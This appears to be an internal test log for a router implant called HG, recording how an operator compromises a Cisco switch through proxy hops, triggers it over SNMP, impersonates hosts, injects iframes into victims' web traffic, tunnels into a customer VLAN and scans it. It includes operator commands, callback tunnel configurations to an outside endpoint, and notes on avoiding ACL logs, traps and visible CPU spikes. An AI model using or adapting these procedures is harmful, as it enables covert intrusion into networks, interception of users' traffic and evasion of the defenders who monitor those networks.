Owner: User #71467

Cytolysis-1h HG v3.1.6 Delivery

HG v3.1.6 was delivered for Cytolysis on 1/12/16 for SUP720.  Testing scope will include ACE, SMITE and Tunnel.

CONOP will be:

• Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 admin mgmt subnet - and IACInternational Access Code attack VLANVirtual Local Area Network 1 IP of target - XXX.XXX.X.XXX (TOPWAY-NET[CN])
• Trigger port will be UDPUser Datagram Protocol 161, host to impersonate will be explicitly set to a host not on VLANVirtual Local Area Network 10 or VLANVirtual Local Area Network 2
• Establish CTCounter Terrorism session over HTTPSHypertext Transfer Protocol Secure back through flux node 4
• Use ACEApplication Control Engine (Module) commands to verify state of the device
• Use socket get_arp_survey_data and output of "show ip nat trans" to survey traffic from VLANVirtual Local Area Network 19
• SMITE hosts on target customer network - VLANVirtual Local Area Network 19
• Use Tunnel to appear as if Operator is on VLANVirtual Local Area Network other than VLANVirtual Local Area Network 19 or VLANVirtual Local Area Network 2, and from there, nmap VLANVirtual Local Area Network 19.

Testing Summary

• Note in test report that module 2 is in state PwrDown and should be verified before proceeding
• Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161.  If trigger packets have incorrect sequence number, an encoding error will increment as shown in output of "show snmp".
• Comms packets are SSLv3 - need to consider if this is noticeable on this network
• Hardware difference between test device and target - daughter card on 4 port 10G line card.  This hardware difference has been accepted.
• 5 sec CPU spikes to 45-65% during IACInternational Access Code attack, spike to 27% during HG install
• HG Consumes ~3.5M of Memory, visible in output out show mem
• Operator must manually start CovertTunnel module to use the tunnel capability
• Assists cause observeable in ouput of show ip cef <IP> - this is a known issue.
• Observed the following print even without HG installed when using Windex to exploit a target client:
  Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
• Tunnel - Given the sensitivity to sending trigger packets with incorrect sequence number on this op, recommend using tun init to establish CovertTunnel instead of trigger.
• Tunnel - When running nmap or otherwise targeting VLANVirtual Local Area Network 19 from TAPVirtual Network kernel device IP, EXCLUDE 10.11.0.1 (VLANVirtual Local Area Network 19 interface IP) as this will result in acl denied log prints to console for this traffic.

Testing Notes

1. Install
   -Memory at start of test:
   cytolysis-1#show mem
   Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
   Processor 453ACAF0 381990160 101796608 280193552 276504440 218810732
   I/O 8000000 67108864 13902404 53206460 53130184 53130428

   -attacked with IACInternational Access Code via flux
   -CPU hit a peak of 56% during IACInternational Access Code attack
   -Uploaded HG - show mem after install
   cytolysis-1#show mem
   Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
   Processor 453ACAF0 381990160 105273148 276717012 275964416 216779752
   I/O 8000000 67108864 13902404 53206460 53130184 53130428

   CPU hit one peak of 15% during install
   Used an interpacket delay of .1 for remote
   
   -Seeds traffic has been running
   -Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
   -success! confirmed that XXX.XXX.X.XX (TOPWAY-NET[CN]) can still browse
   [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
   [Success]
   Maximum Packets Per Second: 1500
   Number of Packets Counted Per Sample: 3000
   Highest Observed Packets Per Second: 173
   Number of Overflows Since Settings Last Changed: 0
   Time of Last Overflow: --
   ************ Success ************
   [packet get_assist_threshold_status]
   -no log messages or snmp traps observed, cpu normal
   *will want to impersonate a host that is not very busy, since an assist will be laid down for that host
   cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
   XXX.XXX.X.XX (TOPWAY-NET[CN])/32
   receive
   cytolysis-1#
   -Quit the CTCounter Terrorism session and confirmed that after about 10 seconds, the RAA dropped:
   cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
   XXX.XXX.X.XX (TOPWAY-NET[CN])/32
   attached to Vlan3
   cytolysis-1#

2. Uninstall
   

   -Re-established CTCounter Terrorism session, this time impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]). No seeds currently running on that host.
   -Entered device uninstall-hg -mp -f to uninstall HG
   -no syslog or snmp trap observed
   -CPU from device after uninstall
   cytolysis-1# show proc cpu hist

   
   22222 44444 1111144444
   100
   90
   80
   70
   60
   50
   40
   30
   20
   10
   0....5....1....1....2....2....3....3....4....4....5....5....
   0 5 0 5 0 5 0 5 0 5
   CPU% per second (last 60 seconds)

   1 1 1 1 1 1 1
   0565955565466568566596566691570777976644965686666586545555
   100
   90
   80
   70
   60
   50
   40
   30
   20 * * *
   10 ************************************** ************* ****
   0....5....1....1....2....2....3....3....4....4....5....5....
   0 5 0 5 0 5 0 5 0 5
   CPU% per minute (last 60 minutes)
   * = maximum CPU% # = average CPU%

   521121211212212111212222211242112111211112122
   606719379081263898081510099121890987289981916
   100
   90
   80
   70
   60 *
   50 *
   40 * *
   30 * * * *
   20 *********************************************
   10 *********************************************
   0....5....1....1....2....2....3....3....4....4....5....5....6....6....7.
   0 5 0 5 0 5 0 5 0 5 0 5 0
   CPU% per hour (last 72 hours)
   * = maximum CPU% # = average CPU%

   cytolysis-1#
   cytolysis-1#show mem
   Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
   Processor 453ACAF0 381990160 101863176 280126984 275964416 218810732
   I/O 8000000 67108864 13902404 53206460 53130184 53130428
   
   RAA for impsonated host from CTCounter Terrorism session has dropped
   
   cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
   XXX.XXX.X.XX (TOPWAY-NET[CN])/32
   attached to Vlan3
   cytolysis-1#

3. Modularity

   -Reloaded DUTDevice Under Test to start with a clean device
   -Flux nodes up, Seeds running on VLANVirtual Local Area Network 19
   -IAC attacked and uploaded HG
   -Established CTCounter Terrorism connection with XXX.XXX.X.XX (TOPWAY-NET[CN]) as impersonated host, no punch-throughs of traffic to impersonated host
   -Confirmed that impersonated host is still able to browse, did not observe any syslogs or traps sent by DUT
   -Stop/Start/Restarted ACEApplication Control Engine (Module) module - verified functionality after each start
   -Testing FB modularity and functionality with smite. Started up Victim3 VMVirtual Machine and web browsed with no rules active and saw the following print:
   
   Jan 19 19:03:08.193 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 1 packetC
   - Added a rule for SMITE and saw the following
   cytolysis-1#show ip cef 10.11.0.13
   10.11.0.13/32
   attached to Vlan19
   cytolysis-1#
   Jan 19 19:09:02.877 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 6 packets
   -successfully SMITE'd 3 more times with no prints
   -restarting FB
   -no rules active, browsed from victim, cleared cache and went to all 3 web servers 10x, no prints
   -activated SMITE rule and ran 7 times - then saw the following prints:

   Jan 19 20:02:55.049 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
   Jan 19 20:08:04.769 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 7 packets
   Jan 19 20:09:04.801 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 3 packets
   Jan 19 20:13:04.929 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 2 packets
   Jan 19 20:18:05.093 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 3 packetsC

4. Testing SMITE
   
   1. Starting over with Debian 8.2.  Installed ICON on TR, setup flux, cleaned DUT
   2. Restarted Victim 3 - web browsed 15 times to all three web servers and observed no prints
   3. Web browsed directly to iframe url 15 times and observed no prints
   4. Attacked with IACInternational Access Code and uploaded HG from new ICON 8.2 VMVirtual Machine - impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
   5. Restarted victim 3.  web browsed 15 times to all three web servers - no prints observed
   6. Web browsed directly to iframe url 15 times in a row - after the 10th try, observed the following:
      

      cytolysis-1#
      Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

   7. cytolysis-1#show access-list Customer-2-filter-in
      Extended IP access list Customer-2-filter-in
      10 permit tcp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq 123
      20 permit udp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq ntp
      30 permit icmp any host 10.11.0.1 (5870 matches)
      40 deny ip any 10.11.0.0 0.0.0.255 log-input
      50 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
      60 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
      70 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
      80 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
      90 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
      100 deny ip any XXX.XXX.X.XX (TOPWAY-NET[CN]) 0.0.0.31 log-input
      110 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
      120 deny ip any host XXX.XXX.X.XXX (TOPWAY-NET[CN]) log-input
      130 permit tcp 10.11.0.0 0.0.0.255 any eq smtp log-input
      140 permit tcp 10.11.0.0 0.0.0.255 any eq 135 log-input
      150 permit tcp 10.11.0.0 0.0.0.255 any eq 137 log-input
      160 permit tcp 10.11.0.0 0.0.0.255 any eq 139 log-input
      170 permit ip 10.11.0.0 0.0.0.255 any (22022 matches)
      180 deny ip any any log-input (1 match)
      cytolysis-1#

5. Characterization of print observed while browsing to windex server
   1. Collecting VLANVirtual Local Area Network 19 packet capture during print message
   2. set logging interval and threshold on DUTDevice Under Test so that logs will be seen immediately
   3. Set up span port for vlan 2 and vlan 19 on DUTDevice Under Test and collecting on the DC from g1/1
   4. Stopped the seeds traffic from cust2 to minimize output in wireshark
   5. Ran manual browses from target client to iframe url - took about ten tries, but I got the print and saved off the information that xetron had requested.
   6. Wiping HG, reload DUT, reload target.  Going to confirm once more that I really never get this print without HG by trying more times.
   7. Performed 30 browses to iframe url and no print.  Also browsed at least 30 times to other three web servers, no print
   8. Added HG, still no seeds, no CTCounter Terrorism session.  Repeating step g.  Observed print on the 24th iteration:

      Jan 22 00:22:01.499 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1262) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

   9. Going to see if this occurs more during SMITE rule

   10. Established CTCounter Terrorism session and created smite rule:
       

       mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -bk -bc -en

   11. Observed prints with SMITE rule active as well at about the same rate

   12. Uninstalled and rebooted DUT
   13. Installed original version of delivery 3.1.5.
   14. Also working in installing newest version of windex in TR
   15. Was able to browse to iframe url 30 times from client wiht v3.1.5 and saw no prints.  however overnight, i had left the browser window open and windex session connected and at 4am, the router did log some messages:

   16. Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
       Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
       Jan 22 04:42:50.120 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet
       Jan 22 04:42:51.636 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet

   17. After attempting another 30 times without HG, I did reproduce the error message without HG.  This may just be a Windex/IOS NATNetwork Address Translation issue.  Hopefully this issue will be resolved in the newer version of Windex.
6. Testing Modularity
   1. Reloaded DUT
   2. CPU spike to 66% during IACInternational Access Code attack, 27% duing IACInternational Access Code install, 11% duing CTCounter Terrorism session establishment
   3. Already tested FB and ACEApplication Control Engine (Module) in previous test 3
   4. Testing Tunnel - Note that Tunnel module is not started by default.  Operator will have to start Tunnel module with "module start CovertTunnel.mod" command
   5. Started tunnel mod.  Then stopped it with module stop Tunnel.  Repeated three more times.
   6. Was unable to restart it at first, but after enough time passed and i entered ilm refresh, it did restart successfully.  no syslogs or traps observed, no impact to CPU.
7. HTTPS Comms testing
   1. Testing the functionality of impersonating different hosts
      1. impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) - successful connection.  RAA laid down.  Confirmed that host is still able to browse.  No syslogs or traps.
      2. Exited that session and impersonated another host - XXX.XXX.X.XX (TOPWAY-NET[CN]) - this IP is on the VLANVirtual Local Area Network interface - vlan 3 for customer 1.  Successfully connected, rx adj in place for .81, however it is always in place.  Can ping from router to 1.1.1.1 with source address of XXX.XXX.X.XX (TOPWAY-NET[CN]).  Packet assist threshold not increasing with small amount of traffic.
      3. Collected wireshark of HTTPSHypertext Transfer Protocol Secure comms establishment
      4. Tested impersonation of a host on a different vlan - tried vlan 2 10.11.0.10 although this is not recommeded - cx successful and was still able to browse from 10.11.0.10.  Observed these prints though
         

         Jan 29 00:48:33.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet
         Jan 29 00:48:34.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet

      5. Tested XXX.XXX.X.XX (TOPWAY-NET[CN]) - a non existent host - cx successful as long as the IP was routed back to the device through the network properly

      6. No prints or traps observed duirng cx
      7. Tested connecting impersonating host on vlan 48 - success - still able to browse from impersonated host, no logs or traps.  Assist was laid down and then dropped when CTCounter Terrorism was disconnected.
      8. Testing sending wrong trigger sequence - current seq is 21
         1. Set to 18 and impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) while running wireshark on impersonated host
         2. Impersonated host saw no traffic, no logs, traps were sent by DUT. As expected, encoding errors incremented on output of show snmp.

         3. Enabled snmp packet debugging and tested with wrong seq number again - router reports:
            Jan 29 02:18:55.885 C6506: SNMP: Packet received via UDPUser Datagram Protocol from XXX.XXX.X.XX (TOPWAY-NET[CN]) on Vlan1

         4. Router does not see the snmp packet in debug output if sequence number is correct.
8. Testing socket get arp survey
   1. Ran command to view arp survey data
      

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:23:29Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:3c:e4 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:11:58Z
      XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:02:57Z
      
      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

   2. Cleared arp survey data and then checked again

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:24:09Z
      
      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

   3. Ran IXIA traffic and checked again
      

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:43:43Z
      10.11.0.59 02:1a:c5:05:00:1b 10.11.0.1 2016-01-28T22:36:58Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:e1:dd XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:16 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
      10.11.0.51 02:1a:c5:05:00:13 10.11.0.1 2016-01-28T22:32:00Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:18 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:32:00Z
      XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:24:44Z
      
      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

   4. Not as many as I'd thought, however this delivery doesn't snoop.  Cleared and then viewed data while IXIA was running three times.

9. Test of ACE
   1. Created over 25k NATNetwork Address Translation translations, IXIA traffic running in background.  DUT clean.  
   2. Stats before implantation: 
      

      
      cytolysis-1#show proc cpu
      CPU utilization for five seconds: 1%/0%; one minute: 2%; five minutes: 3%

       

      cytolysis-1#show ip nat stat
      Total active translations: 23629 (0 static, 23629 dynamic; 23629 extended)
      Outside interfaces:
      Vlan2
      Inside interfaces:
      Vlan19
      Hits: 498132 Misses: 0
      CEF Translated packets: 408030, CEF Punted packets: 333224
      Expired translations: 58242
      Dynamic mappings:
      -- Inside Source
      [Id: 1] access-list 19 pool Customer-2 refcount 23629
      pool Customer-2: netmask 255.255.255.252
      start XXX.XXX.X.XX (TOPWAY-NET[CN]) end XXX.XXX.X.XX (TOPWAY-NET[CN])
      type generic, total addresses 1, allocated 1 (100%), misses 0
      longest chain in pool: Customer-2's addr-hash: 1, average len 0,chains 1/256
      cytolysis-1#

      cytolysis-1#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 453A9990 382002800 146287016 235715784 223944216 185187724

   3. IAC attack - cpu spike to 45%.  Uploaded HG - CPU spike to 22%.
   4. Established CTCounter Terrorism session, impersonated host XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
   5. Executed all of the commands listed as planned for use on CONOPConcealed Operation confluence page.
   6. No traps observed. show ip nat trans with 25k translations showed a spike in 5 second CPU.  This could be masked by briefly enabling cpu scaling.
   7. Tested enabled cpu scaling for bounds of 10 and 20.  Spike was successfully suppressed in show proc cpu hist.
   8. Performing show commands with ? mark returns the options for completing the command as well as the output from hitting return after the command
   9. Ran a show tech through ace and it worked just fine - 5 sec CPU spiked to 66%.
10. Tunnel Test
    1. Hard reset device - then loaded HG on.
    2. Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]) and then set up a Tunnel with TAPVirtual Network kernel device IP XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
    3. Started CovertTunnel.mod
    4. Modified callback and endpoint files.  Endpoint file set to listen on fw0, left seq at 0, use port 443 for HTTPSHypertext Transfer Protocol Secure comms.  Callback file set to use TAPVirtual Network kernel device IP:
       

       TapIPAddr = XXX.XXX.XX.XXX (TOPWAY-NET[CN])
       TapSubnet = 255.255.255.248
       TapMACAddr = 00:01:44:27:78:3a
       Timeout = 0
       AllowARP = 1
       Protocol = CommsH
       VLAN = 48

    5. and callback to:

       [OpenSession_HTTPS]
       Remote = XXX.XXX.X.X (QWEST-INET-6[US])
       Port = 443
       Critical = 0

    6. and impersonate:
       

       [IParams]
       IPAddress = XXX.XXX.X.XX (TOPWAY-NET[CN])
       SubnetMask = 255.255.255.240
       MACAddress = 00:1d:71:1f:88:7e
       TTL = 64
       VLAN = 3

    7. Initiated callback from CTCounter Terrorism session:
       

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun init tools/dualor/config/dualor-callback.ini
       [Pending]
       Job: 136282824
       ************ Pending ************
       [tun init tools/dualor/config/dualor-callback.ini]

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]> [Success]
       Job: 136282824
       ************ Success ************

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    8. Tunnel successfully established:

       Listening for clients on port 443...
       Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):8729
       Attempting SSLSecure Socket Layer Handshake...
       SSL Handshake Successful!
       Throttling tunnel connection with the parameters:
       Outbound Average Rate: 100 packets/sec
       Outbound Peak Burst Rate: 200 packets/sec
       Performing key exchange with the tunnel endpoint...
       Successfully performed key exchange with the tunnel endpoint!
       Connected with device UID: 001121b9fbb8
       Opened the TAPVirtual Network kernel device interface tap0
       Setting the tap0 interface status to down

       tap0 Interface Parameters:
       IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
       Subnet Mask: 255.255.255.248
       MACApple Operating System Address: 00-01-44-27-78-3a

       Setting the tap0 interface status to up
       Tunnel is now active

    9. TAP interface now active on ICON:
       

       tap0 Link encap:Ethernet HWaddr 00:01:44:27:78:3a
       inet addr:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Bcast:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Mask:255.255.255.248
       UP BROADCAST RUNNING MTU:1500 Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:500
       RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

    10. Added route for network I want to reach:

    11. root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route add -net 10.11.0.0/24 dev tap0
        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route -n
        Kernel IP routing table
        Destination Gateway Genmask Flags Metric Ref Use Iface
        0.0.0.0 172.20.12.1 0.0.0.0 UG 0 0 0 eth0
        10.11.0.0 0.0.0.0 255.255.255.0 U 0 0 0 tap0
        XXX.XXX.X.X (TOPWAY-NET[CN]) 192.168.88.1 255.255.0.0 UG 0 0 0 fw0
        XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
        XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
        XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 0.0.0.0 255.255.255.248 U 0 0 0 tap0
        172.20.12.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
        192.168.88.1 0.0.0.0 255.255.255.255 UH 0 0 0 fw0
        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#

    12. Attempted to nmap hosts on 10.11.0.0/24 network but was not able to.  I was able to successfully ping and ssh into hosts on that subnet.  While watching traffic with wireshark on both the ICON and Target vm, i saw that when nmap runs, wireshark shows two arp requests for who has 10.11.0.10 and then shows duplicate MACApple Operating System address in use for XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (TAPVirtual Network kernel device IP).  The two MACs reported are the TAPVirtual Network kernel device IP MACApple Operating System as well as the MACApple Operating System of interface vlan 2 and IP XXX.XXX.X.XX (TOPWAY-NET[CN]) on the DUT.

    13. Tried making my flux routes more specific so that the routes wouldn't overlap with TAPVirtual Network kernel device routes - did not fix issue.
    14. Closed tunnel, changed callback.ini file Allow ARPAddress Resolution Protocol variable to 0 and then re-initiated tunnel.  This did fix the issue.  
        

        oot@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# nmap -Pnv 10.11.0.10

        Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-31 17:45 UTC
        Nmap scan report for 10.11.0.10
        Host is up (0.26s latency).
        Not shown: 999 closed ports
        PORT STATE SERVICE
        22/tcp open ssh
        MAC Address: AA:BB:CC:DD:EE:FF (Unknown)

        Nmap done: 1 IP address (1 host up) scanned in 30.07 seconds
        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#

    15. No prints were observed on console of router throughout.

    16. Still able to ssh and ping host as well.  Attempting a more extensive nmap...
    17. Getting prints on nmap traffic to VLANVirtual Local Area Network 2 IP address 10.11.0.1.  Need to repeat and exclude that IP.
    18. Example of print to .1
        

        Jan 31 22:42:33.743 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.XX.XXX (TOPWAY-NET[CN])(46097) (Vlan19 0019.a993.3440) -> 10.11.0.1(2038), 1 packet

    19. Do not see that print as long as that IP is excluded.  Nmaps generate a lot of ARPAddress Resolution Protocol traffic for non-existent hosts on the network, seen on wireshark running on an existing host.

    20. Testing what happens when TAPVirtual Network kernel device IP becomes active on the network.  Changed the IP of XXX.XX.XX.XXX (CMNET[CN]) to XXX.XX.XX.XXX (CMNET[CN]) - Tunnel closed immediately:
        

        Tunnel is now active
        Shutting down tunnel: Client became active on the network

        Closing Dualor
        Closed the TAPVirtual Network kernel device interface tap0

    21. No prints observed.  Changed IP back to .130 and then re-established the tunnel with tap ip .131

    22. Repeated the tunnel dropping due to TAPVirtual Network kernel device ip active on the network while nmap scan was running... resulted in prints to console because ICON box (1918 space) is now routing nmap traffic directly to the DUTDevice Under Test instead of going through tunnel, and this traffic is denied by acl:
        

        Jan 31 23:21:27.719 C6506: %SEC-6-IPACCESSLOGDP: list Core-Net-filter-in denied icmp 172.20.12.1 (Vlan2 0021.d80d.cfc1) -> XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (3/1), 1 packet

    23. No other prints observed, no traps observed.  CPU impact - 5 second spikes to 16% during tunnel establishment.  After that CPU remains low.
    24. Testing CTCounter Terrorism tunnel show commands:
        

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun show
        [Success]
        Tunnel Sessions
        Session ID: TAPVirtual Network kernel device IP Address: Endpoint: State:
        4 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) XXX.XXX.X.X (QWEST-INET-6[US]):443 Running
        Tunnel Listeners
        Listener ID: TAPVirtual Network kernel device IP Address:
        ************ Success ************
        [tun show]

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    25. [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 4
        [Success]
        Session ID: 4
        State: Running
        Allow ARPAddress Resolution Protocol Requests: No
        Timeout: 0d 0h 0m 0s
        Duration: 0d 20h 31m 3s
        Time Left: 0d 0h 0m 0s
        Time Until Init: --
        TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
        TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
        Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
        Critical: No
        ************ Success ************
        [tun session 4]

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    26. Closed and reinitated tunnel - SUCCESS
    27. Closed and reinitated tunnel with a 2s minute timeout value - tunnel closed after 2s

    28. Tunnel is now active
        Shutting down tunnel: Tunnel has timed out

    29. Initated tunnel with 2m timeout - ssh'd into .10 and waited 2 m - SUCCESS
        

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 7
        [Success]
        Session ID: 7
        State: Running
        Allow ARPAddress Resolution Protocol Requests: No
        Timeout: 0d 0h 2m 0s
        Duration: 0d 0h 1m 55s
        Time Left: 0d 0h 0m 4s
        Time Until Init: --
        TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
        TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
        Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
        Critical: No
        ************ Success ************
        [tun session 7]

    30. Triggered a tunnel instead of using tun init

        1. changed the sequence number to 2 to match output from beacon get_current_trigger_seq

        2. root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini
           Dualor Version 1.0.5
           Unable to open certificate file ./Cert.bin. Will build one...

           Listening for clients on port 443...
           Sending Trigger Packet...
